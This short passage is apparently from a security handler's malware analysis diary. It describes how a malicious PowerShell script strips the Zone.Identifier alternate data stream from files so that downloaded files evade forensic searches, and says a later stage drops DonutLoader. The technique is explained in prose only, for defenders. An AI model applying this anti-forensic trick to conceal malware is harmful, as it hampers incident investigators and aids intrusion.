PowerShell will try to remove the alternate-data-stream (ADS) “:Zone.Identifier” that Windows adds during file operations. The :Zone.Identifier indicates the source of the file (0 = My Computer, 1 = Local intranet, 2 = Trusted sites, 3 = Internet, 4 = Restricted sites). It's not clear if a "copy" will drop or conserver the ADS. I did not find an official Microsoft documentation but, if you ask to a LLM, it will tell you that they are not preserved. They are wrong!

In my Windows 10 lab, I downloaded a copy of BinaryNinja. An ADS was added to the file. After a copy to "test.ext", the new file has still the ADS!

By removing the ADS, the malicious script makes the file look less suspicious if the system is scanned to search for "downloaded" files (a classic operation performed in DFIR investigations). 

For the story, the script will later invoke another PowerShell that will drop a DonutLoader on the victim's computer.

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key